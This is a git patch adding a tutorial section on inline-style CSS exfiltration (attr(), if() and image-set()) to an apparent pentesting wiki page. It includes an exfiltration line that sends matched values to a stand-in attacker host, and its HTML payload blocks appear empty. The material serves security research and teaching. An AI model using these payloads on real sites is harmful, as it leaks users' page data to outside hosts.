From 3acbdf095c4e4fd8a2c585b29e39f3aa86591841 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 26 Aug 2025 18:34:43 +0000 Subject: [PATCH] Add content from: Inline Style Exfiltration: leaking data with chained CSS con... --- .../xs-search/css-injection/README.md | 53 +++++++++++++++++-- 1 file changed, 50 insertions(+), 3 deletions(-) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 4e4a827fd..2c97c3209 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -107,6 +107,50 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi > Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\ > No worries, just check the **output** because **you can see the flag there**. +### Inline-Style CSS Exfiltration (attr() + if() + image-set()) + +This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value. + +> [!WARNING] +> Equality comparisons in if() require double quotes for string literals. Single quotes will not match. + +- Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes). +- Read: copy the attribute into a CSS variable: `--val: attr(title)`. +- Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`. +- Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint. + +Attempt (does not work; single quotes in comparison): + +```html +
test
+``` + +Working payload (double quotes required in the comparison): + +```html +
test
+``` + +Enumerating attribute values with nested conditionals: + +```html +
+``` + +Realistic demo (probing usernames): + +```html +
+``` + +Notes and limitations: + +- Works on Chromium-based browsers at the time of research; behavior may differ on other engines. +- Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging. +- Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content). + +Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda + ### Other selectors Other ways to access DOM parts with **CSS selectors**: @@ -779,8 +823,11 @@ So, if the font does not match, the response time when visiting the bot is expec - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) +- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration) +- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda) +- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php) +- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if) +- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) +- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set) {{#include ../../../banners/hacktricks-training.md}} - - -